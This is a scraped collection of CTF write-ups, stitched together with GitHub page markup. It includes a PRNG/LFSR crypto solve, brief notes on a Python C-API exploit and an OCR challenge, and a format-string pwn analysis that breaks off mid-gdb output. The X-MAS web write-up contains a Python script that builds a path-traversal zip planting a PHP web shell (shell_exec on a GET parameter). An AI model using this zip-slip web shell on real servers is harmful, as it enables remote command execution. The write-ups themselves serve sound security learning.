Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>write-ups</span></span></span><span>/</span><span><span>35C3</span></span><span>/</span>collection<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>write-ups</span></span></span><span>/</span><span><span>35C3</span></span><span>/</span>collection<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/VoidHack/write-ups/tree-commit/d9f8d0114ebdbc43f7b8eb2a367d39aad396faba/35C3/collection" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/VoidHack/write-ups/file-list/master/35C3/collection"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>collection_sploit.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# Probably Really Nice Goodies from Santa Just reading the title, we can see a certain acronym looming: PRNG, or Pseudo-Random Number Generator. Inside the provided .zip file are two files, `flag.enc` and `Probably Really Nice Goodies from Santa.py`. The python file is relatively concise: import os flag = open('flag.txt').read().strip() class PRNG(): def __init__(self): self.seed = self.getseed() self.iv = int(bin(self.seed)[2:].zfill(64)[0:32], 2) self.key = int(bin(self.seed)[2:].zfill(64)[32:64], 2) self.mask = int(bin(self.seed)[2:].zfill(64)[64:96], 2) self.aux = 0 def parity(self,x): x ^= x >> 16 x ^= x >> 8 x ^= x>> 4 x ^= x>> 2 x ^= x>> 1 return x & 1 def getseed(self): return int(os.urandom(12).encode('hex'), 16) def LFSR(self): return self.iv >> 1 | (self.parity(self.iv&self.key) << 32) def next(self): self.aux, self.iv = self.iv, self.LFSR() def next_byte(self): x = self.iv ^ self.mask self.next() x ^= x >> 16 x ^= x >> 8 return (x & 255) def encrypt(s): o='' for x in s: o += chr(ord(x) ^ p.next_byte()) return o.encode('hex') p=PRNG() with open('flag.enc','w') as f: f.write(encrypt(flag)) There are three basic parts to this program: the PRNG class which seems to involve a lot of bitwise arithmetic, the encrypt method which seems to encrypt a string, and the bits of code that define the flag and that uses these definitions. Let's start at the bottom and work our way up.There are three basic parts to this program: the PRNG class which seems to involve a lot of bitwise arithmetic, the encrypt method which seems to encrypt a string, and the bits of code that define the flag and that uses these definitions. Let's start at the bottom and work our way up. flag = open('flag.txt').read().strip() ... p=PRNG() with open('flag.enc','w') as f: f.write(encrypt(flag)) flag is a string variable which is simply the contents of some flag.txt. We don't have flag.txt, so it's up to us to reverse engineer the value in the flag variable. p is clearly an instance of PRNG, presumable a Pseudo-Random Number Generator. The file flag.enc is opened, then the `encrypt(s)` is called with the flag and written to flag.enc. If we can find a way reverse the encrypt function, we can apply it to the flag.enc file we were provided to find the original key. def encrypt(s): o='' for x in s: o += chr(ord(x) ^ p.next_byte()) return o.encode('hex') This encrypt method is pretty concise. It just loops through every character `x` in a string, calls `p.next_byte()`, and XORs them together. The XOR function (expressed in Python as the `^` operator) is reversible: if we apply `encrypt(s)` to the ciphertext, we will get the original message back. All that remains is to restore the original state of the PRNG. class PRNG(): def __init__(self): self.seed = self.getseed() self.iv = int(bin(self.seed)[2:].zfill(64)[0:32], 2) self.key = int(bin(self.seed)[2:].zfill(64)[32:64], 2) self.mask = int(bin(self.seed)[2:].zfill(64)[64:96], 2) self.aux = 0 def parity(self,x): x ^= x >> 16 x ^= x >> 8 x ^= x>> 4 x ^= x>> 2 x ^= x>> 1 return x & 1 def getseed(self): return int(os.urandom(12).encode('hex'), 16) def LFSR(self): return self.iv >> 1 | (self.parity(self.iv&self.key) << 32) def next(self): self.aux, self.iv = self.iv, self.LFSR() def next_byte(self): x = self.iv ^ self.mask self.next() x ^= x >> 16 x ^= x >> 8 return (x & 255) This is the heart of the challenge. The first line of the constructor sets `self.seed = self.getseed()`, which uses `os.urandom(12)` to generate a random 96 bit integer. The constructor then unpacks self.seed into 3 32 bit chunks, which are put into self.iv, self.key, and self.mask. To my knowledge, there is no way for us to guess the random number provided by `os.urandom`, which uses the Operating System's random number generator. This means we have no information whatsoever about the initial values of the IV (Initial Value), KEY, and MASK. As far as I can tell, self.aux is irrelevant. Let's continue reading with `next_byte()`. First x is set to the XOR of IV and Mask. `self.next()` is then called, which presumably changes the state of the PRNG so that the next call to `next_byte()` returns a different value. The last few lines basically XOR different bits of X with itself, like this example with a random x: x is a 32 bit integer 1 1 0 1 1 1 0 0 0 0 1 0 0 0 1 0 0 0 0 1 1 1 0 1 0 0 0 1 1 0 1 1 | 8 bits | 8 bits | 8 bits | 8 bits | x ^= x >> 16 which is the same as: x = x ^ (x >> 16) x 1 1 0 1 1 1 0 0 0 0 1 0 0 0 1 0 0 0 0 1 1 1 0 1 0 0 0 1 1 0 1 1 | | | | | x >> 16 | | 1 1 0 1 1 1 0 0 0 0 1 0 0 0 1 0 | | | | | x ^ x >> 16 1 1 0 1 1 1 0 0 0 0 1 0 0 0 1 0 1 1 0 0 0 0 0 1 0 0 1 1 1 0 0 1 | irrelevant | irrelevant | | | x ^= x >> 8 x 1 1 0 1 1 1 0 0 0 0 1 0 0 0 1 0 1 1 0 0 0 0 0 1 0 0 1 1 1 0 0 1 | irrelevant | irrelevant | | | x >> 8 1 1 0 1 1 1 0 0 0 0 1 0 0 0 1 0 1 1 0 0 0 0 0 1 | | irrelevant | irrelevant | | x ^ x >> 8 1 1 0 1 1 1 0 0 1 1 1 1 1 1 1 0 1 1 1 0 0 0 1 1 1 1 1 1 1 0 0 0 | irrelevant | irrelevant | irrelevant | | I have been marking bytes as irrelevant, because the last step is to AND x with 255, which has a convenient value in binary: return x & 255 x 1 1 0 1 1 1 0 0 1 1 1 1 1 1 1 0 1 1 1 0 0 0 1 1 1 1 1 1 1 0 0 0 | | | | | 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 | | | | | x & 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 0 0 0 | | | | | Essentially, x is folded into itself to reduce it from a 32 bit int to an 8 bit byte. I explicitly went through this process because it will be done again in `parity(x)`. OK, back to the `next()` function: def parity(self,x): x ^= x >> 16 x ^= x >> 8 x ^= x>> 4 x ^= x>> 2 x ^= x>> 1 return x & 1 ... def LFSR(self): return self.iv >> 1 | (self.parity(self.iv&self.key) << 32) def next(self): self.aux, self.iv = self.iv, self.LFSR() `next()` simply sets self.iv to `LFSR()` (and also sets self.aux, but this appears to be irrelevant). `LFSR()` ([Linear-Feedback Shift Register](https://en.wikipedia.org/wiki/Linear-feedback_shift_register)) does some interesting bitwise arithmetic. `parity(x)` is used to employ a similar folding algorithm to the one used above to collapse (IV AND KEY) into a single bit. IV is then shifted to the right one bit, then that parity bit is inserted on the far left of the IV. The resulting value is the new IV. PRNG has a lot of technical things going on, so lets sum up what we know about it. Only the IV ever actually changes; KEY and MASK both remain constant. Mask XOR IV is used to garble up the IV before it is used as the next random byte. KEY AND IV is used to garble up the IV before the parity bit is calculated, and IV is shifted to the right by one bit to make room for the parity bit. This is pretty difficult. We need to determine three different random 32 bit integers before we have any chance of decrypting our flag. Once we have the initial state of the PRNG, we will be set. Unfortunately, the only information we have about the initial state is the encrypted flag: ab38abdef046216128f8ea76ccfcd38a4a8649802e95f817a2fc945dc04a966d502ef1e31d0a2d Fortunately, we do know one more thing: the first six characters of the flag. All X-Mas CTF flags are formatted like this: `X-MAS{...}` (which can be hex encoded into `582d4d41537b...7d`). Considering only the very first byte, before any of the shifting occurs, we know that: 0x58 XOR collapse_to_8_bits(IV XOR MASK) = 0xab Because of how XOR's algebraic properties: X XOR X = 0 X XOR 0 = X X XOR Y = Y XOR X We also know that: collapse_to_8_bits(IV XOR MASK) = 0x58 XOR 0xab = 0xf3 I am going to handwave my hands around some algebra and assert that: collapse_to_8_bits(IV XOR MASK) = collapse_to_8_bits(IV) XOR collapse_to_8_bits(MASK) This allows us to reduce the 32 bit value of MASK to an 8 bit value, MASK8: `MASK8 = collapse_to_8_bits(MASK)`. This ultimately gives us: collapse_to_8_bits(IV) XOR MASK8 = 0xf3 It is now sufficient to figure out what MASK8 is instead of the full value of MASK. Let's start by XORing the first 6 bytes of the ciphertext with the first 6 bytes of the flag to get the first 6 bytes produced by the PRNG: ab38abdef046 ^ 582d4d41537b = f315e69fa33d Now let's write out those 6 bytes in a table: f3 1 1 1 1 0 0 1 1 collapse_to_8_bits(IV) XOR MASK8 15 0 0 0 1 0 1 0 1 collapse_to_8_bits(P1 + IV >> 1) XOR MASK8 e6 1 1 1 0 0 1 1 0 collapse_to_8_bits(P2 + P1 + IV >> 2) XOR MASK8 9f 1 0 0 1 1 1 1 1 collapse_to_8_bits(P3 + P2 + P1 + IV >> 3) XOR MASK8 a3 1 0 1 0 0 0 1 1 collapse_to_8_bits(P4 + P3 + P2 + P1 + IV >> 4) XOR MASK8 3d 0 0 1 1 1 1 0 1 collapse_to_8_bits(P5 + P4 + P3 + P2 + P1 + IV >> 5) XOR MASK8 For now we're going to do our best to ignore the parity bits. Because of how X is folded, each new parity bit and IV shift only invalidates the leftmost bit in the table. All the others are strictly dependent on the previous values of IV. I will remove these corrupted bits and add some ASCII formatting to indicate how the bits of IV propogate to the right: f3 1 1 1 1 0 0 1 1 IV8 XOR MASK8 \ \ \ \ \ \ \ 15 0 0 1 0 1 0 1 IV8 >> 1 XOR MASK8 \ \ \ \ \ \ e6 1 0 0 1 1 0 IV8 >> 2 XOR MASK8 \ \ \ \ \ 9f 1 1 1 1 1 IV8 >> 3 XOR MASK8 \ \ \ \ a3 0 0 1 1 IV8 >> 4 XOR MASK8 \ \ \ 3d 1 0 1 IV8 >> 5 XOR MASK8 Note that the same MASK8 is applied in each row. The only differentiating factor is how far the IV8 (`collapse_to_8_bits(IV)`) was shifted to the right. This means that each diagonal line represents a single bit of the IV8, while each column is a bit of the MASK8. The value in each cell is IV XOR MASK.We will make an inital assumption that the rightmost (least significant) bit of the MASK8 is 1 (`MASK8[7] = 1`). Looking at the second row in the above table, we can see that `IV8[6] ^ MASK8[7] = 1`, which means `IV8[6] = 0`. Now going back to the first row in the table, we can see that that `IV8[6] ^ MASK8[6] = 1`, which means `MASK8[6] = 1`. We can continue this process back to determine the complete values of both IV8 and MASK8: b7 1 0 1 1 0 1 1 1 MASK8 44 0 1 0 0 0 1 0 0 IV8 f3 1 1 1 1 0 0 1 1 IV8 XOR MASK8 \ \ \ \ \ \ \ 15 0 0 1 0 1 0 1 IV8 >> 1 XOR MASK8 That's awesome! We now know all of the mask that matters, and we have enough of the Initial Value to decrypt the first few values of the flag. However, what about the assumption that the first bit of the mask was 1? What happens if it's 0? We can go ahead and try that: 48 0 1 0 0 1 0 0 0 MASK8 bb 1 0 1 1 1 0 1 1 IV8 f3 1 1 1 1 0 0 1 1 IV8 XOR MASK8 \ \ \ \ \ \ \ 15 0 0 1 0 1 0 1 IV8 >> 1 XOR MASK8 It's simply the inverse of the other values we found. Interestingly enough, because the IV and the mask are being XOR'd together, we can safely invert them and still get the same results. We will go with the first result from here one out, but it is just as valid to assume that the first bit is 0. Now, how to determine the value of KEY so we can calculate the parity bits? In short, I don't think it's possible. We know what IV8 is, but we need determine the original IV to combine it properly with they KEY. There are 8 different combinations of bits IV that shuffle into each bit of IV8, which means there are 64 different possible IVs. For each of these IVs, 31 bits in the KEY are completely arbitrary; we can choose the last bit in the KEY such that `parity(IV & KEY) = known_value`. And we only know 6 parity values, one for each time we applied `next()` and shifted the IV to the right. There are simply too many possibilities and too little information to solve this in a tractable way. Fortunately, we can actually determine the parity bit at each phase without knowing the KEY. The parity bit is always inserted at the highest bit of the IV, so only the highest bit of IV8 is affected. Interestingly, ASCII characters all have decimal values between 32 and 127, or 00100000 and 01111111. This means that the highest bit in each character of the flag is ALWAYS 0. Therefore, for every byte, we have: PARITY_BIT[0] ^ 0 = CIPHERTEXT[0] PARITY_BIT[0] = CIPHERTEXT[0] The only reason we needed to know the real value of IV is to calculate the parity using KEY. Now that we have this shortcut, we can just use the 8-bit byte values for IV and MASK. We will need to change the algorithm so that IV is not collapsed at all. We will also modify PRNG to accept the next byte of ciphertext when calculating `next_byte()`, and modify `parity(x)` to this: def parity(self, c): return (c >> 7) & 1 My final solution code is included in `goodies/goodies_solve.py`. Running that will give you the flag: X-MAS{S4n7a_4lw4ys_g1ve5_n1c3_pr3s3n7s}
Although the vulnerability was very easy, it was difficult to find. There were a few reasons for this. First, it required some knowledge about the Python-C-API.Second, there was another working vulnerability that discouraged me to look for the easy one. (zero refcount double free) Later by other teams' writeups I realized that the intended one was by using zero refcount but during the CTF I thought it was the result of lazy coding and didn't consider it an intended vulnerability. Simply the vulnerability is due to the misuse of type_handlers. Type_handler is a structure used to store the types within a collection. If an object is an int, the collection object stores it as a C Int instead of an object. If an int entry is misunderstood as a list or dictionary entry, we can access arbitrary, user controlled pointers which is an extremely powerful primitive. We use a bytearray object, because a bytearray object contains a pointer that stores its data. We forged a fake bytearray object to obtain arbitrary R/W. I looked at the other teams' writeups and found out that they used Python GC's behavior. Initially I tried to use this but Python's heap made me crazy so I gave up and looked for other vulnerabilities to use.
https://github.com/diofeher/ctf-writeups/blob/master/2018-12-29-35c3/stage_diving.py Basically you had a stego challenge in the beginning and after that you had to do Optical Character Recognition. I tried different tools but none worked, so I decided to cut the image in the size of the letters, hash the bytes, and use that as mapping.
# __XMAS-CTF 2018__ ## _Super Secure Siberian Vault_ ## Information**Category:** | **Writeup Author**--- | ---Web | Huascar Tejeda <<[email protected]>> **Description:** > Ever wondered where Santa might keep his most personal secrets? In the most securized Siberian vault of course! Today, the concrete and steel facility has opened to the public, and you can now use it to safeguard your very own personal secrets too, just like Santa!>> **Pro Tip: You can upload archives to store multiple secrets at the same time.**>>Server: 199.247.6.180:12007> [chall](chall)>> Author: Milkdrop **Flag:** > X-MAS{Z1pp3r_D0wn_S4nt4!_Y0ur_Secr3t5_4r3_n0w_0ur5} ## Solution ![](/images/XMAS-CTF-2018/Web/SuperSecureSiberianVault/01.png) ```SuperSecureSiberianVault ❯❯❯ curl -I http://199.247.6.180:12007/HTTP/1.1 200 OKServer: nginxDate: Mon, 24 Dec 2018 14:38:34 GMTContent-Type: text/html; charset=UTF-8Connection: keep-aliveX-Powered-By: PHP/7.2.10Set-Cookie: PHPSESSID=25d1759f5000fb2ff54f55d3b5a2d428; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheX-XSS-Protection: 1; mode=block``` This website allows you to upload files to /uploads/**PHPSESSID**/:![](/images/XMAS-CTF-2018/Web/SuperSecureSiberianVault/02.png) I started playing with the PHPSESSID cookie to see how far I could go. - I could manipulate the destination folder ![](/images/XMAS-CTF-2018/Web/SuperSecureSiberianVault/03.png) ![](/images/XMAS-CTF-2018/Web/SuperSecureSiberianVault/04.png) - Path traversal attack by manipulating the PHPSESSID cookie didn't work as I expected. - I started uploading different file types but when accessed inside the /uploads/* folder, the response Content-Type is always application/octet-stream. Now... remember the **"Pro Tip: You can upload archives to store multiple secrets at the same time."**? - The only way the webapp allows us to upload multiple files is by creating a zip file. But we need to find another destination folder where we can execute our script. ## Exploit ![](/images/XMAS-CTF-2018/Web/SuperSecureSiberianVault/06.png) #### What if we create a zip file that extracts our script to '../../img/'?```pythonimport zipfile z_info = zipfile.ZipInfo(r"../../img/f2tc.php")z_file = zipfile.ZipFile("f2tc.zip", mode="w")z_file.writestr(z_info, "'. shell_exec($_GET['hucmd']) .''; } ?>");z_file.close()``` ![](/images/XMAS-CTF-2018/Web/SuperSecureSiberianVault/05.png) ![](/images/XMAS-CTF-2018/Web/SuperSecureSiberianVault/07.png)
# The grinch - Pwn (350) We have found an interface used by the Grinch's organisation. It looks locked down but perhaps you can find a flaw. Service: nc 18.205.93.120 1220 Download: [umGmZ35YVATQyuHNjZvHhb2O3sZpYKQg-the_grinch.tar.gz](umGmZ35YVATQyuHNjZvHhb2O3sZpYKQg-the_grinch.tar.gz) [(mirror)](./static/umGmZ35YVATQyuHNjZvHhb2O3sZpYKQg-the_grinch.tar.gz) ## Format String Starting with disassembly, there is a fair bit of logic going on here. A lot of it seems unnecessary - other than to have certain functions (like mprotect, fread, read, etc) all included in the program's [GOT](https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html). Some _very rough_ pseudocode for main() is: ```random = mmap(size=pagesize)fill_with_urandom(random)mprotect(random,prot=READ)logfile = fopen("/dev/null")username = calloc(0x10)password = calloc(0x40)write_banner()fwrite("username:")scanf("%13s",username)fwrite("password:")fread_password(password)log(username,password)if memcmp(password,random) == 0: fwrite("passed!") fwrite("TODO")else: fwrite("failed!") exit()``` Looking at this, we can see that there is some weirdness with random bytes. However, since these are being compared to "password" which presumably is some user defined shellcode-like bytes it might be a dead end to look at this further. The next interesting piece is the logging. Following this down the rabbit hole we have a couple more functions (pseudocode): ```// from mainlogfile = fopen("/dev/null") def log(username,password) new_username = calloc(0x11) snprintf(new_username,0x10,"%s\n",username) log_username(new_username) def log_username(new_username) log_message(" logged -> ") log_message(new_username) def log_message(msg) fprintf(logfile,msg)``` From here, we can trace a line directly from some user input ("username") to a format string function (fprintf). Format strings are [a well known attack vector](https://www.owasp.org/index.php/Format_string_attack), so we've finally found our first thread to unravel for this challenge. ## Stack Pivot Now that we have a format string vulnerability, the next step is to figure out some more specific details on what we can do. I copied the binary to my own Ubuntu VM, loaded it in gdb, set a breakpoint at the instruction where fprintf was called (0x08048994) and looked at the stack state. A snippet of some gdb commands is below. ```(gdb) break *0x08048994Breakpoint 1 at 0x8048994(gdb) r... username: aaa password: bbb Breakpoint 1, 0x08048994 in ?? ()(gdb) cContinuing. Breakpoint 1, 0x08048994 in ?? ()(gdb) x/64wx $esp0xffffd4d0: 0x08054160 0x08054330 0xf7e4d319 0x0804897e0xffffd4e0: 0xf7fb4000 0x08052f94 0xffffd508 0x080489cf0xffffd4f0: 0x08054330 0x00000010 0x08048db8 